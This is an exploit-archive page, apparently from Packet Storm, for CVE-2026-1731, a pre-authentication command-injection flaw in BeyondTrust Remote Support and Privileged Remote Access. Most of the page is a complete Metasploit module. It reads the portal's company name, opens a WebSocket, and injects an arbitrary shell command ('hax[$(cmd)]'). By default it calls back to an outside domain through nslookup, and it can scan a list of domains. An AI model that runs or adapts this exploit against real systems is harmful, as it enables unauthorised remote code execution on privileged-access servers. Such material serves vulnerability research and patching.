PACKETSTORM 9.9 CRITICAL

📄 BeyondTrust Remote Support / Privileged Remote Access Remote Code Execution_PACKETSTORM:215712

9.9 / 10
CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/SC:L/VI:H/SI:H/VA:H/SA:L

Description

A critical pre‑authentication remote code execution vulnerability identified as CVE-2026-1731 affects products from BeyondTrust, specifically Remote Support and Privileged Remote Access. The vulnerability allows an unauthenticated attacker to execute...
Visit Original Source

Basic Information

ID PACKETSTORM:215712
Published Feb 17, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : BeyondTrust Remote Support / Privileged Remote Access – Pre‑Authentication Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.beyondtrust.com/ |
=============================================================================================================================================

[+] Summary : A critical pre‑authentication Remote Code Execution (RCE) vulnerability identified as CVE-2026-1731 affects products from BeyondTrust, specifically Remote Support and Privileged Remote Access.
The vulnerability allows an unauthenticated attacker to execute arbitrary commands on a vulnerable system by abusing a specially
crafted WebSocket connection. The issue stems from improper input validation and unsafe handling of user-controlled data during the WebSocket communication process.

[+] Affected Versions :

The vulnerability affects the following versions of BeyondTrust products: Remote Support (RS)

Affected versions: 25.3.1 and earlier This means any device running these versions prior to 25.3.2 is vulnerable. Privileged Remote Access (PRA)

Affected versions: 24.3.4 and earlier Any PRA plan running version 24.3.4 or earlier is vulnerable to this vulnerability.

[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => 'BeyondTrust Remote Support/Privileged Remote Access Pre-auth RCE',
'Description' => %q{
This module exploits CVE-2026-1731, a pre-authentication remote code execution
vulnerability in BeyondTrust Remote Support and Privileged Remote Access.
The vulnerability allows unauthenticated attackers to execute arbitrary commands
on the target system through a specially crafted WebSocket connection.
},
'Author' => [
'Bipin Jitiya (@win3zz)', # Original Python script
'indoushka' # Metasploit module author
],
'References' => [
['CVE', '2026-1731'],
['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'],
['URL', 'https://github.com/win3zz/CVE-2026-1731'] # Assuming GitHub repo exists
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path to the BeyondTrust application', '/']),
OptString.new('CMD', [true, 'The command to execute', 'nslookup {{callback}}']),
OptString.new('CALLBACK_DOMAIN', [false, 'Callback domain for nslookup (replaces {{callback}} in CMD)', '']),
OptPath.new('DOMAINS_FILE', [false, 'File containing list of domains to scan']),
OptBool.new('VERBOSE_OUTPUT', [false, 'Enable verbose output', false])
]
)

register_advanced_options(
[
OptInt.new('WEBSOCKET_TIMEOUT', [true, 'WebSocket connection timeout in milliseconds', 5000])
]
)
end

def verbose_print(msg)
print_status(msg) if datastore['VERBOSE_OUTPUT']
end

def run_host(_ip)

if datastore['DOMAINS_FILE'] && File.exist?(datastore['DOMAINS_FILE'])
File.readlines(datastore['DOMAINS_FILE']).each do |domain|
domain = domain.strip
next if domain.empty?

check_and_exploit_domain(domain)
end
else

check_and_exploit_domain(rhost)
end
end

def check_and_exploit_domain(domain)
print_status("Checking #{domain}")

company = fetch_company_info(domain)
return unless company

print_good("Found company: #{company}")

execute_websocket_attack(domain, company)
end

def fetch_company_info(domain)

['http', 'https'].each do |proto|
uri = "#{proto}://#{domain}/get_portal_info"
verbose_print("Checking: #{uri}")

begin
res = send_request_cgi(
'uri' => '/get_portal_info',
'method' => 'GET',
'rhost' => domain,
'rport' => datastore['RPORT'],
'ssl' => (proto == 'https')
)

if res && res.code == 200
verbose_print("Raw response: #{res.body}")

if res.body =~ /company=([^;]+)/
company = Regexp.last_match(1).strip
return company
end
end
rescue Rex::ConnectionError, Rex::TimeoutError => e
verbose_print("Error connecting to #{domain}: #{e.message}")
end
end

print_status("No portal info or company found for #{domain}")
nil
end

def prepare_command
cmd = datastore['CMD']

if datastore['CALLBACK_DOMAIN'] && !datastore['CALLBACK_DOMAIN'].empty?
cmd.gsub!('{{callback}}', datastore['CALLBACK_DOMAIN'])
end

if cmd.include?('{{callback}}')
random_callback = "#{Rex::Text.rand_text_alphanumeric(8)}.oast.fun"
cmd.gsub!('{{callback}}', random_callback)
print_warning("Using random callback domain: #{random_callback}")
end

cmd
end

def execute_websocket_attack(domain, company)
print_status("Running WebSocket action for #{domain}")

cmd = prepare_command
verbose_print("Using command: #{cmd}")

uuid = 'aaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa'
random_id = Rex::Text.rand_text_alphanumeric(4)
payload = "hax[$(#{cmd})]\n#{uuid}\n0\n#{random_id}\n"

verbose_print("WebSocket payload: #{payload.inspect}")

ws_uri = "wss://#{domain}:#{datastore['RPORT']}/nw"

begin

ws = connect_ws(
ws_uri,
'protocol' => 'ingredi support desk customer thin',
'headers' => {
'X-Ns-Company' => company
}
)

if ws.nil?
print_error("Failed to establish WebSocket connection to #{domain}")
return
end

print_status("WebSocket connection established to #{domain}")

ws.put(payload)

timeout = datastore['WEBSOCKET_TIMEOUT'] / 1000.0
begin
Timeout.timeout(timeout) do
while (response = ws.get)
print_line(response.to_s) unless response.to_s.empty?
end
end
rescue Timeout::Error
verbose_print("WebSocket read timeout")
end

rescue Rex::ConnectionError => e
print_error("WebSocket connection error: #{e.message}")
rescue StandardError => e
print_error("Error during WebSocket attack: #{e.message}")
verbose_print("Error details: #{e.backtrace.join("\n")}")
ensure
ws.close if ws
end
end

def connect_ws(uri, opts = {})
require 'rex/proto/http/web_socket'

begin

u = URI.parse(uri)

host = u.host
port = u.port

http_client = Rex::Proto::Http::Client.new(
host,
port,
{},
u.scheme == 'wss'
)

request = http_client.request_websocket_upgrade(
u.path,
opts[:protocol]
)

opts[:headers]&.each do |key, value|
request[key] = value
end
response = http_client.send_recv(request)

if response && response.code == 101 # Switching Protocols
return Rex::Proto::Http::WebSocket.new(http_client, response)
else
vprint_error("WebSocket upgrade failed: #{response.code}") if response
return nil
end

rescue StandardError => e
vprint_error("WebSocket connection error: #{e.message}")
nil
end
end
end

Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.